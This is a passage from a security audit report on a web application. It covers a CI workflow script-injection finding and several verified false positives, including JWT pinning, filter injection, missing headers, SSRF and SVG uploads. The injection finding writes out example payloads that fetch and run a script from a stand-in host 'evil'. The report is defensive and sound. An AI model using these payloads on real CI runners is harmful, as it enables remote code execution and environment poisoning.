Existing mitigations: Origin allowlist (matchAllowedOrigin) is present but defeatable via spoofed Origin header by non-browser clients (acknowledged in-code); honeypot field is trivially omitted by scripts; optional Cloudflare Turnstile is feature-flag-gated and requires TURNSTILE_SECRET_KEY / cfg.turnstileEnabled (off by default). Payload-size caps and the per-email limiter exist but the latter sits inside the same try block and is bypassed identically. None of these constitute a reliable rate-limit substitute when the shared store fails. No upstream fail-closed gate exists on these two public endpoints (unlike api.tenants.$tenant.plugins.tsx).
17. [Low] Script injection via untrusted workflow_dispatch inputs in E2E readiness workflows
- Category: CI/CD Script Injection | Verdict: confirmed | Fix effort: trivial | Finder confidence: high
- Location:
.github/workflows/e2e-readiness.yml:161, 165 - Data flow: workflow_dispatch input (workflow_webhook_target_url / subscription_success_path) -> ${{ inputs.* }} textual substitution into a run: shell block -> printf ... >> $GITHUB_ENV
Exploit scenario
A user with repo write access (required to start a workflow_dispatch run) supplies a crafted value for workflow_webhook_target_url or subscription_success_path. Because GitHub/Gitea Actions substitutes ${{ inputs.* }} into the script text BEFORE the shell parses it, a value such as $(curl -s http://evil/x|sh) or one containing a newline followed by additional shell/env lines executes arbitrary commands on the runner and can poison $GITHUB_ENV (e.g. inject extra env vars). On the Gitea variant this runs on the self-hosted toolctrl-ci runner, where command execution is more impactful (persistent host, network access to internal Gitea/Coolify). Impact is bounded because workflow_dispatch is only triggerable by already-privileged actors, so this is defense-in-depth against an insider/compromised-write-token rather than an anonymous-attacker path.
Evidence
printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV"
...
printf 'E2E_TENANT_SUBSCRIPTION_SUCCESS_PATH=%s\n' "${{ inputs.subscription_success_path }}" >> "$GITHUB_ENV"
Recommended fix
Do not interpolate ${{ inputs.* }} directly inside run: scripts. Bind each input to an env var via an env: block on the step and reference it as a quoted shell variable, e.g. env: WEBHOOK_URL: ${{ inputs.workflow_webhook_target_url }} run: | printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "$WEBHOOK_URL" >> "$GITHUB_ENV" Additionally validate the value is a single-line https URL (reject newlines/metacharacters) before writing it to $GITHUB_ENV. Apply the same fix to the identical block in .gitea/workflows/e2e-readiness.yml (lines 172 and 176).
Verifier notes
I read both workflow files in full and confirmed the cited sink exactly. In .github/workflows/e2e-readiness.yml lines 161 and 165 (and identically .gitea/workflows/e2e-readiness.yml lines 172 and 176) two workflow_dispatch inputs declared as type: string -- workflow_webhook_target_url (lines 32-36) and subscription_success_path (lines 42-46) -- are interpolated as ${{ inputs.* }} directly into a run: shell block: printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV". GitHub/Gitea Actions performs this as textual substitution into the script source BEFORE the shell parses it, which is the canonical Actions script-injection pattern. Because the value lands inside double quotes, a payload using $(...) command substitution executes (command substitution runs inside double quotes), and a literal double-quote or newline in the value breaks out of the quoting entirely -- e.g. a value of "; curl -s http://evil/x | sh; echo " or $(id) yields arbitrary command execution on the runner and can also poison $GITHUB_ENV with extra lines. I searched the entire repo (grep across yml/ts/js/sh) for any validation of these two inputs and found NONE: the only input-validation present is the node -e isIP() check at .gitea lines 117-120, which guards the unrelated vars.HIVEGRID_GITEA_HOST_IP value, not these user inputs. The boolean gates workflow_webhook_run / subscription_success (type: boolean, constrained to true/false) do not mitigate because the same actor controls them and trivially sets them true. The downstream consumers (tests/e2e/subscription-smoke.spec.ts, workflow-builder-run.mobile-a11y.spec.ts) only read the resulting env var and are irrelevant -- injection happens at the YAML-to-shell substitution step before any test runs. The one genuine bound, correctly stated by the finder, is that workflow_dispatch is only triggerable by an actor with repo write access, so this is defense-in-depth against an insider or compromised write-scoped token rather than an anonymous-attacker path. On the Gitea variant it runs on the self-hosted toolctrl-ci runner (persistent host, internal network reach to Gitea/Coolify), raising blast radius if exploited. The exploit path is open and the finding is accurate; severity Low is appropriate given the write-access precondition.
Existing mitigations: None found. No input validation, allowlist, sanitizer, or env-binding exists for workflow_webhook_target_url or subscription_success_path. The only validation in the workflow (isIP on HIVEGRID_GITEA_HOST_IP, .gitea lines 117-120) guards an unrelated vars value. The only real bound is the trigger precondition: workflow_dispatch requires repo write access, so the attacker must already be privileged (insider / compromised write token).
False positives (filtered out by verification)
-
API refresh-token/logout verify JWTs without pinning the algorithm (Authentication & Session Management)
- Confirmed the cited code: apps/api/src/routes/auth-routes.ts:94 (refresh-token) and :135 (logout) call jwt.verify(token, secret) with no { algorithms } option, while apps/hocuspocus/src/extensions/auth.ts:79-82 correctly pins algorithms:["HS256"]. The code-level observation is accurate, but there is NO open exploit path under the current configuration: (1) jwtSecret is typed as a plain string symmetric secret in packages/config/src/types.ts:143 and loaded from JWT_SECRET via present(env.JWT_SECRET) in packages/config/src/api.ts:68; grep across apps/api/src finds zero asymmetric keys (no RS256/ES256/publicKey), so alg-confusion (signing an HS256 token using a leaked public key as the HMAC secret) is impossible — there is no public key in play. (2) The library is jsonwebtoken ^9.0.0 (apps/api/package.json:43), which rejects alg:"none" unless "none" is explicitly listed in algorithms; since no algorithms array is passed at all, unsigned tokens are rejected by the v9 default. (3) Login signs HS256 by default (line 77) and forging any accepted token still requires knowledge of JWT_SECRET, which unpinned algorithms does not change. The finder explicitly acknowledges it is "not exploitable today" and frames it as defense-in-depth against a hypothetical future asymmetric-key introduction or library default change — that is a theoretical condition with no current attacker path, which the rubric classifies as a false positive (non-exploitable). The recommended fix (pass { algorithms: ["HS256"] }) is valid, trivial hardening worth applying to match the existing hocuspocus pattern, but it does not mitigate any current vulnerability.
-
extraFilters strings are concatenated verbatim into Meilisearch filter expressions (SQL / Command / ORM / Template Injection)
- Confirmed the code facts: buildFilter (packages/search/src/query.ts:155,158) concatenates extraFilters verbatim with no escaping. Of the two real callers, rowSearch.server.ts:127 escapes its value (escapeFilterValue) and is safe; kbArticleSearch.server.ts:86 interpolates input.language RAW into
language = "${input.language}" AND isPublished = true. I then traced input.language to attacker control: KnowledgeBaseService.search (line 547) sets language = params.lang || kb.defaultLanguage, and params.lang comes from the optional ($lang) URL segment in routes/docs/($lang).tsx and routes/help/$slug.($lang).tsx — fully attacker-controlled. So the raw-interpolation site is genuinely fed by URL input.
- Confirmed the code facts: buildFilter (packages/search/src/query.ts:155,158) concatenates extraFilters verbatim with no escaping. Of the two real callers, rowSearch.server.ts:127 escapes its value (escapeFilterValue) and is safe; kbArticleSearch.server.ts:86 interpolates input.language RAW into
However, every reachable path to that sink is closed before runtime injection:
- Index route (KbRoutes.Index.Api.tsx:24-26) applies an explicit allowlist — if params.lang is present and not in KnowledgeBaseUtils.supportedLanguages (["de","en"], no Meili filter metacharacters) it throws Response 404 BEFORE calling search. Injection blocked outright.
- Article route (KbRoutes.Article.Api.tsx:35,42) calls getArticle first; getArticle (service line 266-273) does getKbArticleBySlug filtered by the supplied language. A malicious lang string matches no stored article (real languages are "de"/"en"), so item is null and the loader throws redirect at line 42 before search runs.
- Category route (KbRoutes.Category.Api.tsx:22,30) calls getCategory first; getCategory (service line 411-417) filters getKbCategoryBySlug by language, returns null for a bogus value, loader redirects at line 30 before search runs. Additionally search only reaches extraFilters when MEILI_URL is set AND tenantId resolves; otherwise it uses the SQL fallback which ignores the filter string.
So there is no open attacker path to the Meilisearch filter sink. The finder explicitly conceded this ("There is no attacker path through this function in isolation; it is a defense-in-depth/API-hardening gap"). The residual is exactly that: a fragile API contract where buildFilter trusts callers to escape, and kbArticleSearch already omitted escaping for language. Only the incidental short-circuit of language-filtered DB lookups (Article/Category) plus the Index route's allowlist prevent exploitation. That is a legitimate Low hardening concern, not an exploitable injection today.
- Missing global security headers (no CSP, X-Frame-Options, X-Content-Type-Options) (XSS, Output Encoding & Open Redirect)
- The finder looked only at apps/web/app/entry.server.tsx and concluded security headers are "not applied anywhere global." That premise is factually wrong. The production server is NOT entry.server.tsx — pnpm start runs apps/web/build/server-runtime/server.js, which is the esbuild bundle of /Users/raffaelsheikh/Documents/GitHub/boilerplate/server/server.ts (entry point set in scripts/build-web-server.mjs; start script confirmed in apps/web/package.json: "node ../../build/server-runtime/server.js").
That server wraps EVERY response. server/server.ts:228 calls appendWebSecurityHeaders(res) inside sendWebResponse for all React-Router and API responses, and server/server.ts:301 calls it inside getStaticHeaders for every static asset. appendWebSecurityHeaders (lines 242-251) sets, on every response:
- Content-Security-Policy: base-uri 'self'; object-src 'none'; frame-ancestors 'self'
- X-Content-Type-Options: nosniff
- Referrer-Policy: strict-origin-when-cross-origin
- X-Frame-Options: SAMEORIGIN
- Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
- Cross-Origin-Opener-Policy / Cross-Origin-Resource-Policy: same-origin
- Strict-Transport-Security (when webConfig.routing.protocol === "https", line 253-255) This is covered by server/server.test.ts (tests at lines 44-67 assert each header and that they apply to forwarded responses AND static assets).
Each of the finder's three concrete exploit claims is therefore refuted by code that actually runs in prod:
- Clickjacking of /app/:tenant: X-Frame-Options: SAMEORIGIN + frame-ancestors 'self' are set globally. FALSE.
- MIME sniffing of user-uploaded content: X-Content-Type-Options: nosniff is set globally including on static assets. FALSE.
- Missing Referrer-Policy: set globally. FALSE.
One nuance, in fairness to the finder: the global CSP is PARTIAL — it has base-uri/object-src/frame-ancestors but NO script-src or default-src. So it provides no script-injection defense-in-depth. But (a) the finder explicitly claimed "no Content-Security-Policy ... applied globally," which is false, and (b) this residual gap only matters if a separate, independently-proven XSS exists; the finder's "any of the XSS vectors above" is not substantiated in this finding and there is no standalone exploit here. A hardened script-src is a reasonable improvement, not the reported "missing global security headers" vulnerability.
Note also a benign interaction: the embed.forms route sets x-frame-options: ALLOWALL (embed.forms.$formKey.tsx:60), but appendWebSecurityHeaders only skips re-setting CSP when present (server.ts:258) and unconditionally setHeader()s X-Frame-Options back to SAMEORIGIN — i.e. it makes the posture MORE restrictive (likely a functional bug for the embed feature), not less. This is the opposite of a security weakness.
-
Marketing outbound adapter SSRF guard omits DNS resolution (literal-hostname only) (SSRF, Webhooks & Signature Verification)
- The technical defect is real and accurately described: isOutboundUrlAllowed (packages/marketing-outbound/src/types.ts:135-152) validates only the literal URL hostname string against localhost/RFC1918/169.254/metadata suffixes and never resolves DNS, so adapterFetch (line 107) would fetch a tenant-supplied URL whose public-looking hostname resolves/rebinds to an internal/metadata IP. The house-standard hardened helper packages/foundation/src/outbound-http.ts does the correct thing (dns.lookup with all:true plus a resolved-address block at lines 122-136), confirming the adapter diverges from the safe pattern. HOWEVER, there is no attacker-reachable path at runtime. I confirmed @hivegrid/marketing-outbound is imported by exactly one non-test source file (apps/worker/src/jobs/marketing-outbound.ts), and that handler is never imported, bootstrapped, or wired to a queue in apps/worker/src/index.ts (zero 'marketing' references there; no createWorker/Queue/bootstrap). runMarketingOutboundJob is called only from *.test.ts files. The module exports MARKETING_OUTBOUND_ACTIVE_SUBSCRIBER = false and its own docstring states it 'does not claim or bootstrap' a queue and that a future subscriber must add its own bootstrap. Tenant config (custom-webhook config.url, slack/discord config.webhookUrl) is attacker-controllable in principle, but no HTTP route or queue subscriber can ever invoke the adapter today. This is latent/dead code, exactly as the finder honestly disclosed (self-rated Low, 'currently NOT live'). No current exploit path exists, so for present exploitability this is a false positive; the finder did not overclaim.
-
Hardcoded default HMAC secret for legacy API-key hashing falls back silently when env unset (Secrets, Cryptography & Config Exposure)
- The finding's premise — "if an operator never sets the per-deploy hash secret, the public default is used silently" — does not hold against the actual wiring.
-
There is NO dedicated API_KEY_HASH_SECRET. Every live caller of the hashing functions sources the secret from JWT_SECRET via config loaders:
- apps/api/src/routes/shared.ts:258, apps/api/src/routes/auth-routes.ts:178, apps/api/src/usage/usage-route.ts:29 -> getApiRuntimeConfig()/config.jwtSecret (loadRequiredApiConfig, apps/api/src/config.ts:6).
- apps/web/app/utils/services/apiService.ts:94 -> config.jwtSecret; and apps/web/app/utils/db/apiKeys.db.server.ts:196,251,272 -> getApiKeyHashSecret() = loadRequiredWebConfig().jwtSecret.
-
JWT_SECRET fails closed. In packages/config/src/catalog.ts:127-134 it is classification "required-per-app" with requiredInProduction:true and no defaultValue. getRequiredEnvVariableNames (packages/config/src/index.ts:113 and :118) adds it to the required set in EVERY NODE_ENV (line 113 fires because there is no defaultValue) and again in production (line 118). validateEnv then reports it missing, and loadRequiredWebConfig (packages/config/src/web.ts:32-39) / loadRequiredApiConfig (packages/config/src/api.ts:27-34) THROW WebConfigError/ApiConfigError before any API-key operation runs. So config.jwtSecret can never be empty in a real deployment — the normalizeLegacyApiKeyHashSecret fallback to DEFAULT_LEGACY_API_KEY_HASH_SECRET (api-keys.server.ts:323-324) is unreachable on every authenticated path.
-
The only call site that passes NO secret — getApiKey at apps/web/app/utils/db/apiKeys.db.server.ts:156-161, which would use the default — has ZERO callers anywhere in apps/web, apps/api, or packages (verified by grep). It is dead/legacy code, not an authentication path.
-
The finder itself concedes the default cannot be used to forge or guess keys (the real secret is the random UUID key the attacker must already possess). The residual "cross-deployment hash correlation" risk requires the default to actually be in use, which it never is given the failing-closed JWT_SECRET. The finder's own recommendation (dedicated secret, requiredInProduction=true, fail closed) is already effectively satisfied by JWT_SECRET.
No attacker-controlled input reaches an exploitable sink, and the operational-hygiene premise is invalidated by the production-required, fail-closed config loaders.
- Row media stored under non-tenant-namespaced key/bucket (File Uploads, Storage, Path Traversal, Import/Export)
- I read MediaService.ts (lines 5-87), storageService.ts (putBufferAsFile/deleteFile), the storage access guard (packages/storage/src/access/index.ts), the Prisma schema (Entity, RowMedia), and the callers in rows.db.server.ts. The cited code is real: row media is stored at bucket=entity.name, key=media.id+"-"+media.name with no tenants// prefix. But there is no open exploit path.
Two premise corrections: (a) Entity.name is @unique globally and Entity has no tenantId — entities are global schema definitions shared by all tenants, so names cannot "collide across tenants"; the bucket is simply a single global namespace per entity. (b) media.id is a server-generated CUID (@default(cuid())), not attacker-controlled and not enumerable.
Why the storage-layer guard would add nothing here: authorizeStorageObjectAccess protects surfaces (import dry-run/submit, worker) where the USER supplies a storage object key (sourceKey) in a follow-up request — the guard stops a user referencing another tenant's key. Row media has no equivalent attacker-supplied key step. The store happens server-side during tenant-scoped row create/update (rows.db.server.ts:443-445, RowsApi.ts:565), and the resulting publicUrl is persisted on RowMedia, which is reachable only through Row reads. Every row read is tenant-scoped: getRow/getRowById/getRows/getRowsInIds all filter by tenantId via getAccessFilters / TenantHelper.tenantCondition. There is no route that serves row media by raw bucket/key (grep for getObject/download in app/routes returned nothing). So the actual access control (tenant-scoped DB reads) is intact, and the guard the finder wants to add guards against an attack vector that does not exist for this path.
The hypothetical 'public bucket / predictable id' leak is also not closed by the proposed fix: the S3 putObject sets no ACL: public-read (objects are private by default), and a misconfigured public bucket would leak objects regardless of any tenants// key prefix. So even the recommendation wouldn't mitigate the only scenario the finder gestures at.
The finder explicitly concedes this is "a defense-in-depth/consistency gap rather than a directly demonstrated cross-tenant read." That self-assessment is correct: it is a legitimate low-value consistency/hardening nit, not an exploitable vulnerability with an attacker-reachable path.
-
SVG/icon allowed for media library uploads enabling potential stored XSS if served inline (File Uploads, Storage, Path Traversal, Import/Export)
- The allow-list claim is accurate: packages/storage/src/scan/allow-list.ts:18 includes "image/svg+xml" for mediaLibrary, and packages/storage/src/scan/magic-bytes-adapter.ts:64-66 promotes a declared SVG with SVG-looking content to a "clean" verdict with NO sanitization (no DOMPurify/strip-scripts). However, stored XSS requires the SVG to be served INLINE as an HTML document on a first-party origin, and that sink does not exist. (1) Every real mediaLibrary-context caller is an authenticated admin/tenant-admin branding surface (portals.$portal/settings.tsx, __widgets/widgets/$id.tsx, admin/settings/general.tsx — all forcing .png/.ico ids), not a generic tenant media library; the actual entity/row "media" path goes through MediaService.ts -> putBufferAsFile which never runs the mediaLibrary allow-list at all. (2) All rendering of uploaded media is via
: PreviewMediaModal.tsx:58, InputMedia.tsx:218-220, RowMediaCell.tsx:29 — SVG loaded through an
tag is script-inert and embedded <script>/event handlers never execute. There is NO dangerouslySetInnerHTML,
- The allow-list claim is accurate: packages/storage/src/scan/allow-list.ts:18 includes "image/svg+xml" for mediaLibrary, and packages/storage/src/scan/magic-bytes-adapter.ts:64-66 promotes a declared SVG with SVG-looking content to a "clean" verdict with NO sanitization (no DOMPurify/strip-scripts). However, stored XSS requires the SVG to be served INLINE as an HTML document on a first-party origin, and that sink does not exist. (1) Every real mediaLibrary-context caller is an authenticated admin/tenant-admin branding surface (portals.$portal/settings.tsx, __widgets/widgets/$id.tsx, admin/settings/general.tsx — all forcing .png/.ico ids), not a generic tenant media library; the actual entity/row "media" path goes through MediaService.ts -> putBufferAsFile which never runs the mediaLibrary allow-list at all. (2) All rendering of uploaded media is via